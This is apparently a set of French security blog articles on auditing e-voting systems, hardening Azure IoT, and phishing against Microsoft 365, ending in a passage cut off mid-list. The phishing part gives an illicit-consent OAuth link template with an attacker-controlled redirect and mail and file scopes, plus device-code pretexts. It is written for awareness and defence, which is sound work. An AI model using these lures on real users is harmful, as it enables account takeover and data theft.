En 2022, 5,6 millions d’agents publics des trois versants de la fonction publique sont appelés à voter pour leurs représentants syndicaux au sein des instances représentatives. Le scrutin a eu lieu du 1er au 8 décembre 2022. Il est unique à plus d’un titre : généralisation du vote électronique dans la fonction publique de l’État et mise en place de nouvelles instances de dialogue social[ii].

Des expérimentations en cours pour le vote des Français de l’étranger

Pour les élections de 2017, le Ministère des Affaires Étrangères et du Développement International a mis au point une plateforme de vote en ligne aux français de l’étranger pour les élections législatives.

Quels scrutins ont lieu dans les organisations françaises ?

Dans le secteur privé, depuis 2018 les élections des membres de la délégation du personnel des comités sociaux et économiques (CSE) sont obligatoires pour les entreprises de plus de 11 salariés, à bulletins secrets[iii].

Dans la fonction publique et certaines entreprises du secteur parapublic, il existe aussi des élections à des commissions paritaires ou des commissions techniques paritaires.

Dans tous les cas, l’employeur doit informer tous les quatre ans (sauf accord de branche prévoyant une durée plus courte, comprise entre deux et quatre ans) le personnel par affichage de l’organisation des élections.

Fonctionnement du vote électronique dans un contexte d’élections professionnelles

Avant le vote, l’employeur doit convoquer les élections professionnelles en précisant la date, le lieu et les modalités de scrutin (papier, électronique, ou hybride).

L’organisation des élections repose généralement sur un ou plusieurs bureaux de vote centralisateurs et des bureaux de vote régionaux, selon le volume de scrutins et d’électeurs. Les membres des bureaux sont formés, la solution est recettée, et des élections de tests sont réalisées.

Une fois la solution validée elle est passée en production, et l’élection peut débuter :

1. Les listes électorales sont établies, les syndicats ou les salariés peuvent vérifier et signaler toute erreur ou omission.
2. Les candidats peuvent faire campagne auprès des électeurs et présenter leur programme.
3. Le jour de l’ouverture du scrutin, la solution est scellée en utilisant des clefs de chiffrement privées détenues aux 1/3 par l’administration et aux 2/3 par les organisations syndicales.
4. Les électeurs votent ensuite selon le calendrier prescrit, les bureaux suivent l’émargement et assistent les électeurs, la cellule de supervision contrôle le bon déroulement et gère les incidents éventuels, et le prestataire de vote est mobilisé au besoin.
5. Le jour de la clôture des élections, l’intégrité de l’urne est contrôlée, puis le descellement est opéré par l’administration et les organisations syndicales.
6. Le dépouillement des votes est ensuite effectué sous le contrôle des bureaux de votes centralisateurs.
7. Les résultats des élections doivent être communiqués aux électeurs, affichés publiquement et transmis à l’inspecteur du travail.
8. L’urne est à nouveau scellée, et toute la solution (copie des programmes sources et des programmes exécutables, matériels de vote, fichiers d’émargement, de résultats et de sauvegarde et fichiers qui conservent la trace des interventions sur le système) est archivée sous scellés pendant 2 ans minimum.
9. En cas de contestation, un recours peut être déposé auprès de l’inspecteur du travail ou du tribunal d’instance.

Les enjeux du vote électronique

Opportunités

Facilité de mise en œuvre du scrutin

Le vote électronique est généralement plus efficient à mettre en œuvre que le vote papier, il nécessite moins de travail manuel pour la préparation (impression des affiches de propagande, logistique…), le dépouillement et la communication des résultats. Cela entraîne une réduction des coûts et une amélioration de l’efficacité du processus électoral.

Réduction de l’empreinte carbone

Le vote électronique réduit grandement la dépendance à l’impression papier pour les listes électorales, les documents de propagande, et surtout les bulletins de vote. Il permet également de réduire drastiquement les déplacements en fonction de l’organisation géographique de l’entité organisatrice des scrutins.

D’après une étude de la société Kercia[iv], l’empreinte carbone d’un vote par courrier est plus de deux fois supérieure à celle d’un vote électronique.

Maximisation de la participation et instances élues avec une base électorale plus élargie

Le vote électronique permet une participation plus importante des électeurs.

Une étude menée en Suisse en 2011 a montré que le taux de participation a augmenté de 2,2 %[v] dans les cantons qui ont mis en place le vote électronique par rapport à ceux qui n’ont pas utilisé cette méthode. De même, une étude menée en Estonie en 2014 a montré que l’utilisation du vote électronique avait augmenté la participation électorale de 3 à 4 %[vi].

Les électeurs peuvent voter à distance sans avoir à se déplacer physiquement jusqu’au bureau de vote. Cela peut augmenter la participation des électeurs, en particulier dans un contexte de généralisation du télétravail post-COVID-19.

Accords empreints d’une plus forte assise démocratique

Le vote électronique peut aider à renforcer le dialogue social en permettant une participation plus large et plus accessible des électeurs. Les résultats des élections sont mécaniquement plus probants en augmentant la participation aux scrutins.

Risques

Altération des résultats

Les systèmes de vote électronique peuvent être vulnérables à des attaques de vol de comptes électeur, de vote multiple à un même scrutin par le même électeur, ou encore de compromission des bulletins.

Protection des données personnelles

La mise en œuvre de plateformes de vote électronique doit prendre en compte le risque de collecte excessive de données personnelles sensibles telles que les opinions politiques des électeurs.

Les informations personnelles des électeurs peuvent également être stockées sur des serveurs vulnérables, exposant ces données à des risques de compromission du secret du vote ou de fuites de données.

Transparence des opérations de vote

Il peut être difficile à chaque partie prenante de comprendre comment les votes sont enregistrés et comment les résultats sont compilés, entraînant une méfiance vis-à-vis de la solution et des résultats des élections.

Ces risques doivent être pris en compte et remédiés afin d’en réduire drastiquement la probabilité d’occurrence et/ou leur impact sur le bon déroulement des élections.

Comment se conformer à la réglementation ?

Délibération CNIL 2019-053 du 25 avril 2019

La délibération CNIL n°2019-053 du 25 avril 2019[vii] simplifie et précise les textes de 2010 et 2018. Le processus est le suivant :

1. Choix du niveau de sécurité (1, 2 ou 3) en fonction d’un questionnaire mis à disposition par la CNIL[viii].
2. Mise en place d’une plateforme de vote de test (iso-production) en amont des élections, avec appui de l’expert indépendant en cas de questions relatives à la conformité des choix techniques et organisationnels à arbitrer.
3. Expertise indépendante de la solution visant à évaluer la conformité de la solution aux objectifs de sécurité : selon le niveau de risque défini, les objectifs de sécurité sont plus ou moins stricts. Ceux-ci s’additionnent, par exemple en cas de niveau de risque défini à 3, les objectifs de niveaux 1, 2 et 3 doivent être atteints.

Décret 2011-595 (secteur public)

Une réglementation vient s’ajouter à la délibération CNIL 2019-053 pour la fonction publique et certaines entreprises du secteur parapublic[ix] :

En complément des objectifs de sécurité CNIL, 18 articles composant ce décret doivent être respectés et contrôlés par l’expert indépendant. Les points de contrôle incluent par exemple :

• « Au moins 2/3 des clés sont attribuées aux délégués de liste et au moins 1 clé est attribuée au président du bureau de vote ou à son représentant »
• « Le scellement est effectué par la combinaison d’au moins 2 clés de chiffrement, dont celle du président du bureau de vote ou de son représentant et celle d’au moins un délégué de liste »
• « Un procédé garantit que la liste d’émargement n’est modifiée que par l’ajout d’un émargement, qui émane d’un électeur authentifié réalisant le vote »
• « Chaque électeur reçoit au moins quinze jours avant le premier jour du scrutin un moyen d’authentification lui permettant de participer au scrutin – la confidentialité de ce moyen d’authentification doit être garanti »
• « Un procédé garantit que l’urne électronique n’est modifiée que par le vote d’un électeur authentifié »

Expertise indépendante

Obligation

« Tout responsable de traitement mettant en œuvre un système de vote par correspondance électronique, notamment via Internet, doit faire expertiser sa solution par un expert indépendant, que la solution de vote soit gérée en interne ou fournie par un prestataire. » – Délibération CNIL 2019-053

Modalités

Quand ?

Cette expertise doit être réalisée :

• Avant la mise en place du système de vote électronique
• En cas de modification de la conception du système de vote électronique déjà en place
• A chaque nouveau scrutin utilisant le système de vote électronique, même s’il a déjà été expertisé

Par qui ?

Par un expert indépendant, qui doit :

• Être un informaticien spécialisé dans la sécurité
• Ne pas avoir d’intérêt dans la société qui a créé la solution de vote ni dans l’organisme responsable de traitement
• Posséder si possible une expérience dans l’analyse des systèmes de vote, en ayant expertisé les systèmes de vote d’au moins deux prestataires différents.

Pourquoi ?

Pour garantir le respect des principes fondamentaux qui commandent les opérations électorales :

• Le secret du scrutin
• Le caractère personnel et libre du vote
• La sincérité des opérations électorales
• La surveillance effective du vote par la commission électorale
• Le contrôle a posteriori par le juge de l’élection

Démarche de travail type

Notre vision de l’expertise indépendante est illustrée par les grandes étapes décrites dans ce chapitre.

Initialisation et cadrage

Pour initier la mission, une réunion de lancement est organisée avec les interlocuteurs projet.

Cette réunion a pour objectifs de présenter les équipes, définir les jalons et le planning projet, préciser les modalités de suivi de la prestation, les modalités de communication entre les parties (chiffrement des échanges, etc.), recueillir l’existant via collecte de la documentation, et mettre en place la comitologie.

Audit de la solution et accompagnement en expertise

Cette phase centrale de l’expertise s’appuie sur une démarche d’analyse théorique et pratique :

• Contrôle de la documentation projet et du cahier des charges
  • Il s’agit dès la phase « papier » de s’assurer que tous les points de conformité sont présents et en adéquation avec la règlementation en vigueur :technologies utilisées et mises à jour de ces dernières, hébergement de la solution, sécurité physique, architecture et haute disponibilité, cloisonnement entre les scrutins, techniques de scellement et chiffrement, moyen de constitution, corrélation, communication et suppression des listes électorales, schéma d’authentification des électeurs…
• Accompagnement en expertise et avis sécurité
  • Il s’agit d’apporter une expertise ponctuelle sur des sujets relatifs au cadre légal et règlementaire lors de la phase de conception et d’implémentation de la solution et des processus (ex : choix des facteurs d’authentification, processus de conservation des clefs de scellement, etc.)
• Audit technique de la solution
  • Revue d’architecturevisant à contrôler la conformité du cloisonnement physique et logique, de la sécurisation des flux, de l’hébergement, de la haute disponibilité, etc.
  • Audit de l’organisation et des processus tels que le scellement, la communication des authentifiant, l’archivage, etc.
  • Revue de configuration technique des serveurs-clefs de la solution
  • Audit du code source et des mécanismes de chiffrement de la solution en s’appuyant entre autres sur le RGS[x] (Référentiel Général de Sécurité)
  • Tests d’intrusion en boite noire et en boîte grise des portails de vote et du back-office de supervision

Observation des élections-test

Cette phase vise à simuler une élection afin de contrôler la bonne application du protocole et des processus vérifiés en amont à l’épreuve du terrain :

• Validation du processus de contrôle de conformité
  • Lors de cette étape, le but est de vérifier que la technique utilisée pour la vérification de la non-altération du système (prise d’empreinte) fonctionne
• Contrôles de la solution en situation de terrain
  • Il s’agit de s’assurer, in vivo, que l’ensemble des points évoqués en matière de sécurité et règlementation sont bien en place, par exemple au travers de l’analyse des journaux applicatifs et système, ou des contrôles « aléatoires » : présence de fichiers temporaires contenant des informations sensibles, capacité à collecter des données, etc.
• Appui en expertise lors du déroulement du vote et aide à l’adaptation de procédures en cas d’imprévus

Accompagnement lors de l’élection réelle

Les mêmes contrôles que durant les élections-tests sont réalisés, et spécifiquement :

• Contrôle d’intégrité du système : Prise d’empreinte des briques essentielles du système (librairies, code, bibliothèques de chiffrement, etc.) et comparaison des empreintes avec celles obtenue pré-scrutin
• Respect du cadre règlementaire: Processus de scellement, accès et utilisation des clés de chiffrement/déchiffrement, processus de dépouillement, etc.

Quels écueils et comment les éviter ?

Accès limité aux systèmes

Le contexte de marché à forte expertise des solutions de vote peut pousser les éditeurs à être réticents à partager des informations confidentielles sur leur technologie tels que le code source, dans une logique de protection du secret industriel, ce qui peut limiter la capacité des experts à évaluer la conformité du système.

Afin d’éviter cet écueil, il est essentiel de mettre en œuvre une communication régulière et une transparence totale des actions de l’expert indépendant. Des garanties doivent être fournies quant à la protection de la confidentialité des données recueillies et traitées via des processus et un SI certifié SMSI ou II 901 [xi]Diffusion Restreinte).

Par ailleurs, nous recommandons aux experts indépendants de faire preuve de souplesse dans l’organisation, par exemple en acceptant de consulter le code source exclusivement au sein des locaux de l’éditeur.

Il est enfin à rappeler que la délibération CNIL 2019-053 impose au prestataire de mettre à disposition « le code source correspondant à la version du logiciel effectivement mise en œuvre » à l’expert indépendant.

Méfiance des organisations syndicales et des électeurs

Les organisations syndicales et les électeurs peuvent légitimement s’interroger sur l’indépendance de l’expert et les garanties apportées par l’expertise, entraînant une méfiance vis-à-vis de la solution de vote électronique.

Ces craintes sont fondées et une réponse doit y être apportée par une posture de transparence, et l’apport de preuves factuelles et vérifiables pour chaque observation rapportée durant l’expertise.

Par ailleurs, aucun constat ne doit être formulé de façon ambigüe ou au conditionnel, ni être omis.

Enfin, il est essentiel de présenter les limites de l’exercice d’expertise, et l’impossibilité logique d’apporter une garantie à 100% que le système ne peut être attaqué.

Interprétation de la réglementation

La réglementation disponible n’est pas toujours claire et explicite, notamment :

• Les architectures non-standard ne font pas l’objet de règles spécifiques
  • Ex : Une architecture reposant sur un SI à cheval entre l’éditeur de la solution SaaS et le SI de l’employeur
• Certains termes peuvent être ambigus
  • Ex : « Le vote d’un électeur doit être une opération atomique » – l’atomicité étant une notion fonctionnelle plutôt que technique, les protocoles de communication sur Internet ne permettant par exemple pas de contenir l’ensemble du bulletin dans un seul paquet réseau

L’application des standards de référence (type RGS), l’interrogation directe de la CNIL, et l’implémentation d’une solution permettant de répondre au risque en substance sont autant de moyens de remédier à cet écueil.

Conclusion et recommandations

Afin de tirer au mieux parti de l’expertise indépendante et de la factualiser, nous recommandons de combiner la vision conformité réglementaire avec une vision orientée risques et alimentée par l’audit technique (tests d’intrusion, revues de configuration…) dans une logique de sécurisation concrète et pragmatique de la solution respectant le cadre réglementaire.

Cet exercice ne peut être mené de façon efficace et porter ses fruits qu’en embarquant et en sensibilisant toutes les parties prenantes du projet, y compris l’éditeur et les organisations syndicales dès la phase de conception.

Il est enfin nécessaire de garder en tête que le vote électronique est une technologie en évolution constante. Il est probable que de nouvelles méthodes et technologies émergeront à l’avenir, entraînant une évolution de la réglementation. La veille technique et réglementaire est par conséquent un sujet essentiel tant pour les entités organisatrices d’élections que pour les éditeurs et les sociétés d’expertise indépendante.

Pour toute demande d’information ou de devis sur le sujet de l’expertise indépendante de systèmes de vote électronique, nous vous invitons à nous contacter via le formulaire suivant : https://www.wavestone.com/fr/contact/

Tous nos vœux de succès pour l’organisation de vos élections professionnelles !

[i] https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000000511691/

[ii] https://www.economie.gouv.fr/elections-professionnelles-2022-quelques-minutes-pour-quatre-annees

[iii] https://fr.wikipedia.org/wiki/Comit%C3%A9_social_et_%C3%A9conomique

[iv] https://www.kercia.com/vote-electronique

[v] https://www.admin.ch/gov/fr/accueil/documentation/communiques.msg-id-37639.html

[vi] https://www.smartmatic.com/fr/actualites/article/lestonie-atteint-des-taux-records-de-vote-par-internet-grace-a-une-nouvelle-technologie/

[vii] https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000038661239

[viii] https://www.cnil.fr/fr/securite-des-systemes-de-vote-par-internet-la-cnil-actualise-sa-recommandation-de-2010

[ix] https://www.legifrance.gouv.fr/loda/id/JORFTEXT000024079803/

[x] https://www.ssi.gouv.fr/entreprise/reglementation/confiance-numerique/le-referentiel-general-de-securite-rgs/

[xi] https://www.ssi.gouv.fr/guide/recommandations-pour-les-architectures-des-systemes-dinformation-sensibles-ou-diffusion-restreinte/

Cet article Expertise indépendante de systèmes de vote électronique est apparu en premier sur RiskInsight.

Azure, ces dernières années, s’impose de plus en plus dans ce secteur, comme a pu le souligner le Gartner, qui les classe dans les leaders visionnaires des plateformes IIoT [1] en raison de ses capacités, et de sa couverture quasiment complète de tous les cas d’utilisation et secteurs d’activité.

L’IoT, par nature souvent largement exposé, voire sur Internet, peut-être la cible d’attaques.

Avant de passer à des recommandations spécifiques pour protéger vos dispositifs IoT et vos données, examinons comment les différents services d’Azure IoT peuvent être utilisés ensemble pour créer des solutions IoT sécurisées.

Présentation de l’offre Azure IoT

Microsoft Azure IoT est une plateforme de bout en bout pour la connectivité, l’analyse et la visualisation de données provenant d’appareils IoT. Elle offre également une interconnexion avec les autres services standards d’Azure comme Azure Machine Learning ou encore Azure SQL Database.

Azure IoT propose deux écosystèmes de solutions à ses clients :

• Azure IoT Central est une aPaaS, application Platform as a Service, entièrement managée qui simplifie la création de solutions IoT. Ce service est responsable de connecter, gérer et exploiter des flottes d’appareils, et fournit à une interface utilisateur de gestion. Azure IoT Central est en réalité un agrégat de différents services Azure IoT comme Azure IoT Hub ou encore Azure IoT Hub Device Provisioning Service (DPS).

Azure IoT Central propose des modèles d’application selon plusieurs domaines d’activité : Retail, Santé, Energie, Industrie, etc., et vise une mise en œuvre « clés en main ».  

• Un écosystème personnalisé grâce aux différents services PaaS, Platform as a Service, d’Azure. Dans cet écosytème, deux services ; Azure IoT Hub et Azure Digital Twins sont les fondations d’une solution IoT. Nous les avons également combinés à Azure Device Provisionning et Azure Device Update pour une couverture des besoins cybersécurité optimale.

Ces deux écosystèmes permettent à Azure de répondre à tous types de besoins IoT et IIoT :

• Azure IoT Central est un très bon service si vous souhaitez développer rapidement une application peu complexe grâce à son catalogue de modèle d’application.
• Si vous souhaitez une solution personnalisée, ou avec des fonctionnalités non supportées par Azure IoT Central : optez pour un écosystème fondé sur Azure IoT Hub.

Maintenant que nous avons une bonne compréhension des écosystèmes d’Azure IoT, il est important de se concentrer sur la sécurisation de ces écosystèmes. Comment protéger efficacement des dispositifs IoT et des données lors de l’utilisation des services Azure IoT ? C’est ce que nous allons étudier dans les prochaines parties.

Préambule : l’outil Azure CLI

Afin de gérer des ressources Azure, Microsoft met à disposition plusieurs outils, la plupart étant utilisables en CLI (Command Line Interface, ou en lignes de commandes). L’outil proposant le plus de fonctionnalités pour la gestion étant Azure CLI.

Cet outil, disponible pour les systèmes d’exploitation de type Windows et UNIX, permet notamment à un utilisateur membre d’un environnement Azure de gérer et d’obtenir des informations concernant des ressources Azure. Il est à noter que l’éventail des possibilités de cet outil varie en fonction des droits que possède l’utilisateur sur les ressources en question.

Pour l’installer, Microsoft met à disposition une page dédiée expliquant les étapes pour tout type d’environnement.

Afin de l’utiliser, il suffit de se connecter à un compte utilisateur Azure via l’interface de commande choisie (Powershell ou Bash), puis d’entrer les commandes voulues. Lorsque l’utilisation de cet outil est terminée, une déconnexion du compte est recommandée.

Une utilisation classique de cet outil est présentée ci-dessous :

La documentation de cet outil, présentant et expliquant l’ensemble des commandes possibles, est disponible à cette adresse.

Cet outil sera utilisé par la suite lors d’exemple de manipulations techniques.

1^er vecteur de sécurisation : authentification des objets

L’authentification des appareils est cruciale pour une infrastructure Azure car elle permet de garantir que seuls les dispositifs autorisés puissent accéder aux ressources Cloud. Les services Azure IoT supporte deux principaux moyens d’authentification pour les dispositifs IoT :

• Un Jeton SAS (Shared Access Signature, ou SAS Token en anglais) est une chaine de caractères permettant d’authentifier des appareils, ainsi que des services. Un jeton SAP à la structure suivante :

Ce type d’authentification a une durée de validité définie et des permissions, qui lui sont attribué à partir d’une stratégie d’accès, sur un périmètre donné. La signature, quant à elle, est un élément crucial car elle est responsable de garantir la sécurité des communications entre l’objet et les services Azure, mais également de prouver l’identité du dispositif. Cette signature est générée à partir d’un secret qui doit être propre à chaque appareil.

• Un certificat X.509 [2] est un certificat numérique permettant une authentification forte de l’objet. Il contient des informations sur l’entité émettrice du certificat, la durée de validité du certificat mais également l’identité du sujet (par exemple : l’objet). L’une des forces des certificats est la capacité à pouvoir créer des chaines de certificats, et ainsi créer des relations de confiance:

En termes de sécurité, les certificats X.509 offrent un niveau de sécurité plus élevé, en supposant un algorithme cryptographique à l’état de l’art, car ils permettent de représenter des relations de confiance. Cependant, la gestion et l’utilisation des certificats peut impliquer une complexité supplémentaire pour un projet IoT.

Afin de forcer l’utilisation des certificats X.509 pour authentifier des objets connectés, il est possible d’interdire les jetons SAS pour un IoT Hub. En effet, les IoT Hubs d’Azure possèdent trois propriétés liées à l’utilisation ou non des jetons SAS :  disableLocalAuth, disableDeviceSAS et disableModuleSAS. Par conséquent, la bonne pratique associée à l’interdiction des jetons SAS passe par l’attribution de ces trois paramètres à True. Cette manipulation peut être réalisée à l’aide de l’outil Azure CLI :

La vérification des valeurs de ces mêmes paramètres peut également être réalisée à l’aide d’Azure CLI :

Dans l’exemple de réponse ci-dessous, la propriété disableDeviceSAS a été correctement paramétrée, ce qui n’est pas le cas des deux autres.

Le portail d’Azure permet également d’effectuer cette vérification :

Le choix du moyen d’authentification pour Azure IoT dépendra des exigences de sécurité de votre solution. Si vous avez besoin d’une sécurité élevée et que vous avez une infrastructure pour gérer les certificats, alors l’authentification par certificat X.509 est une bonne option. Cependant, si vous recherchez une solution simple à gérer et à utiliser, le jeton SAS pourrait être plus adapté à vos besoins.

2^ème vecteur de sécurisation : RBAC et alertes

L’assignement des rôles sur votre infrastructure Azure IoT doit être réfléchi et défini selon les besoins des utilisateurs. Une définition de rôles et de permissions précise permet de limiter l’accès aux ressources et aux divers fonctionnalités disponibles sur la plateforme. Les différents services Azure IoT fournissent une multitude de rôles préconfigurés qui peuvent être adaptés à vos besoins et à votre organisation. Ensuite, appliquer le principe du moindre privilège, et limiter le nombre de comptes disposant de privilèges importants, permet d’améliorer le niveau de sécurité de votre infrastructure Azure IoT.

Azure CLI permet notamment de lister les utilisateurs possédant des droits sur la ressource Azure IoT souhaitée, ainsi que leurs rôles associés. La commande suivante permet de réaliser cette action :

Il est possible d’utiliser des sélecteurs de chaînes de caractères (Select-String pour Powershell, grep pour Bash) afin de ne récupérer que les informations souhaitées.

Dans l’exemple ci-dessous, les noms, types et rôles ont été les seuls éléments récupérés à l’aide de Select-String :

La fonction des rôles intégrés Azure est disponible à cette page.

De plus, la configuration d’alertes basées sur les métriques de vos services Azure IoT est un autre outil à prendre en compte. Des alertes peuvent être configurées pour détecter des comportements suspects ou des anomalies, et ainsi permettre une investigation rapide sur votre infrastructure. Azure met à la disposition de ses clients une large collection de signaux permettant de définir des conditions d’alertes. Il est également possible de définir des signaux d’alertes customisés via le langage de requête utilisé par Azure Log Analytics.

Le Portail Azure est le moyen le plus facile pour mettre en place des alertes basées sur les données collectées par le IoT Hub. Par exemple, pour définir une règle d’alerte de journal, il faut :

1. Aller sur la page de management du IoT Hub souhaité ;
2. Aller dans la sous-catégorie Logs de la catégorie Monitoring;
3. Choisir une règle en utilisant le langage de Azure Log Analytics ;
4. Ajouter une règle d’alerte liée à cette requête ;
5. Choisir l’opérateur, l’unité, la valeur seuil, la récurrence de vérification et la période concernée par la règle.

Ces actions sont résumées par les captures d’écran ci-dessous :

Il suffira ensuite de choisir un groupe d’action lié à un type d’action (envoi de mail, de SMS, etc.).

L’exemple donné entrainera une action si le nombre de connexions échouées d’objets connectés à l’IoT Hub concerné dépasse les 10 échecs en 10 minutes ou moins.

En complément, un guide détaillé prenant la forme d’un tutoriel est disponible sur la documentation Azure. Il est à noter que ce service est payant en supplément.

3^ème vecteur de sécurisation : le service en lui même

Enfin, la mise en place d’une configuration adéquate des services Azure IoT est un autre élément clé pour améliorer le niveau de maturité cyber de la plateforme. Cela inclut des options telles que par exemple les règles de routage ou encore paramétrer la version minimum de TLS utilisé par les appareils pour se connecter sur Azure IoT Hub.

Les règles de routage sont utilisées pour rediriger les messages des appareils IoT vers un point de terminaison (stockage, services, base de données, etc.) et sont paramétrables par des requêtes de routage. Il est recommandé de filtrer les messages entrants, via les requêtes de routage, afin d’augmenter la sécurité de votre solution IoT.

La vérification de la version minimale de TLS acceptée peut être faite à l’aide d’Azure CLI : en effet, un IoT Hub possède l’attribut minTlsVersion permettant de contrôler cette propriété. Cette vérification est réalisée à l’aide de la commande suivante :

Si cette commande ne retourne rien, ou retourne une valeur inférieure à 1.2, alors la configuration n’est pas satisfaisante.

Le portail d’Azure permet également d’effectuer cette vérification :

En synthèse

La sécurité est un enjeu majeur pour les projets IoT : Microsoft, avec son produit Azure IoT, fournit une plateforme IoT répondant à une majorité des besoins IoT, et ce de manière sécurisée, sous couvert d’en faire la bonne configuration. Au cours de cette article, nous avons abordé des recommandations permettant d’améliorer le niveau de sécurité de votre infrastructure Azure IoT.

Il est important de garder en tête que d’autres vecteurs d’attaques existent, tels que les vulnérabilités matérielles et logicielles ainsi que les réseaux utilisés par les dispositifs IoT.  En somme, la sécurité d’une infrastructure IoT est un défi complexe qui nécessite une approche de bout en bout.

Avec la participation de Marius ANDRE

[1] “Magic Quadrant for Global Industrial IoT Platforms”

https://www.gartner.com/doc/reprints?id=1-2BQFX3BJ&ct=221116&st=sb

[2] “Internet X.509 Public Key Infrastructure Certificate and Certificate Revocation List (CRL) Profile”

https://www.rfc-editor.org/rfc/rfc5280

Cet article Améliorer la sécurité de son infrastructure IoT : conseils de configuration et bonnes pratiques sur Azure IoT est apparu en premier sur RiskInsight.

Les attaques par hameçonnage (phishing) sont connues de tous. L’objectif de ce type d’attaque est de réaliser des actions depuis le compte d’une victime ou de récupérer des informations sur la personne ou l’entreprise ciblée.

Malgré leur notoriété, elles restent très efficaces pour les attaquants. En effet, parmi les attaques investiguées par le CERT Wavestone, environ 51% d’entre elles commencent par l’utilisation de comptes valides, ce qui inclut les attaques par hameçonnage (phishing).

Face aux attaques par l’hameçonnage, nous sommes tous vulnérables ! Un attaquant disposant de suffisamment de ressources et d’informations sur sa cible peut générer un piège assez élaboré pour faire baisser la garde du destinataire. De même, les suites de produits Office365 et Azure disposent de fonctionnalités pouvant être exploitées dans le cadre d’attaques moins conventionnelles et dont les impacts peuvent être méconnus des utilisateurs.

La sensibilisation des employées, bien que nécessaire pour faire face aux menaces les plus répandues, ne suffit pas face à certains types d’attaques plus ciblées ou moins traditionnelles. Un durcissement des conditions d’accès aux ressources hébergées sur le cloud, une bonne hygiène dans la gestion des droits d’accès ainsi que la détection d’accès inhabituels et suspicieux sont primordiales dans la stratégie de défense des entreprises.

Les attaquants disposent d’une large gamme d’outils et de possibilités pour accéder aux documents stockés sur le SharePoint d’une entreprise, tenter de récupérer des emails sensibles ou récupérer des informations sur les employés. L’attaque par hameçonnage traditionnelle ainsi que par l’authentification « device code » seront brièvement expliquées ci-dessous avant d’examiner plus en détails les attaques par consentement illicite.

L’attaque de phishing traditionnelle : une menace connue et évitable via l’usage d’authentification multi facteur

Les attaques de phishing traditionnelles reposent généralement sur l’envoi d’un lien dirigeant les victimes ciblées vers un site qu’il contrôle. Grace à une mire d’authentification similaire à celles auxquelles sont habituées les employées de l’entreprise ciblée, l’attaquant récupère les identifiants et mots de passe des utilisateurs piégés.

L’attaque par hameçonnage traditionnelle est simple à mettre en œuvre en l’absence d’authentification multi-facteur

La simplicité de mise en œuvre à grande échelle d’une telle attaque en fait un outil de choix pour les attaques non ciblées. Une méthode pour se prémunir contre ce type d’attaque est d’imposer l’utilisation d’un second facteur d’authentification.

Il est à noter cependant que bien que plus complexe à mettre en œuvre, l’interception du second facteur d’authentification est techniquement réalisable et fera l’objet d’un article dédié.

L’attaque via l’authentification « device code » : une méthode méconnue d’authentification détournée par des attaquants

Cette attaque repose sur la fonctionnalité d’octroi d’autorisation d’appareil (device authorization grant)[1]. Cette méthode d’authentification permet d’authentifier un utilisateur sur un appareil ne disposant pas de navigateur web. Un code s’affichant sur cet appareil doit alors être renseigné sur un ordinateur ou un smartphone via le site de Microsoft dédié. Cet appareil disposera ensuite d’une partie des droits d’accès aux ressources Office 365 que l’utilisateur ayant renseigné le code.

Cette procédure peu connue des utilisateurs, peut être exploitée par un attaquant à des fins malveillantes :

• L’attaquant génère tout d’abord un code d’appareil, en utilisant le même processus utilisé par les appareils ne disposant pas de navigateur web.
• Ensuite, l’objectif de l’attaquant sera d’amener la victime à renseigner son code d’appareil sur la page https://microsoft.com/devicelogin. Par exemple, l’attaquant pourrait prétexter que pour accéder à un document sensible, il est nécessaire de se connecter à ce lien en utilisant le code qu’il a généré.
• Si la cible accède au lien, renseigne le code et s’authentifie, cela permettra à l’attaquant d’usurper l’identité de la victime.

Exemple d’attaque par hameçonnage par device code

Cette attaque est plus difficile à réaliser pour un attaquant en raison de la faible durée de vie des « device codes » : ces derniers sont uniquement valables pendant une durée de 15min et doivent donc être générés peu de temps avant que l’utilisateur ne le renseigne. Cette attaque est donc plus facilement réalisable dans le cadre d’attaques par « phoning » ou de phishing via Teams. Par exemple, l’attaquant pourrait appeler la victime, prétexter faire partie de l’équipe du support IT de l’entreprise pour demander à l’utilisateur de s’authentifier sur le lien indiqué et de renseigner le code de son choix.

Pour se prémunir contre ce type d’attaque, les politiques d’accès conditionnel sur Azure permettent notamment d’interdire les connexions suspicieuses provenant d’appareil non maitrisés par l’entreprise.

L’attaque par consentement illicite

En plus de ces deux méthodes, l’attaque par consentement illicite permet aussi à un attaquant de récupérer un accès à un environnement Azure de manière illégitime. Cette dernière était même initialement plus simple à mettre en œuvre pour un attaquant que les attaques via l’authentification « device code ». Face à la recrudescence de cette menace, des actions ont été menées en 2020 par Microsoft pour limiter les conditions de réalisation de l’attaque. Si des configurations durcies d’Azure permettent de totalement bloquer cette menace, les configurations implémentées par certaines entreprises les exposent à ce type d’attaque. Quels sont les prérequis pour la réalisation d’une telle attaque, quelles sont les conséquences possibles et comment s’en prémunir ?

Qu’est-ce qu’une attaque par consentement illicite ?

Pour comprendre le principe de cette attaque, mettons-nous dans la peau d’un employé victime d’une telle attaque :

• La victime reçoit un mail d’hameçonnage indiquant une action urgente à réaliser pour maintenir son compte Microsoft activé. Les employés sont sensibilisés à ne pas cliquer sur des liens de phishing et à ne pas entrer leur mot de passe sur des plateformes inconnues. Le lien sous le format https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=<CLIENT_ID>&redirect_uri=<Attacker_controled_URL>&response_type=code&response_mode=query&scope=Mail.ReadWrite%20Files.Read.All%20Mail.Send%20User.Read contient un domaine associé à Microsoft, ce qui rassure la victime.
• En cliquant sur le lien, la victime doit s’authentifier. Cette authentification est souvent automatique puisqu’elle bénéficie de l’authentification unique (SSO) de Microsoft. La victime reçoit alors une demande de délégation de permissions:

L’application malveillante demande à l’utilisateur de lui déléguer ses permissions

• Si la victime clique sur « Annuler » par prudence, elle est redirigée vers le serveur de l’attaquant avec une URL du type <Attacker_controled_URL>/?error=consent_required &error_description=AADSTS65004%3a+User+declined+to+consent+to+access+the+app.&error_uri=https%3a%2f%2flogin.microsoftonline.com%2ferror%3fcode%3d65004#. L’attaquant, comprenant que la victime n’a pas accepté la délégation de permissions, peut ensuite rediriger la victime sur la page de phishing, lui donnant l’impression que les permissions demandées doivent être acceptées pour passer à l’étape suivante.
• En raison du nom de domaine légitime et la vue de l’urgence indiquée dans le mail d’hameçonnage, la victime de l’attaque choisit d’accepter. Elle observe alors un message indiquant que son compte sera bien maintenu activé, comme suggéré dans le mail initial. Elle reprend donc une activité normale.

Or, ce consentement permet à l’attaquant de réaliser des actions au nom de la victime, en fonction des permissions accordées. A noter que l’attaque par consentement illicite a de nombreux avantages pour un attaquant, notamment :

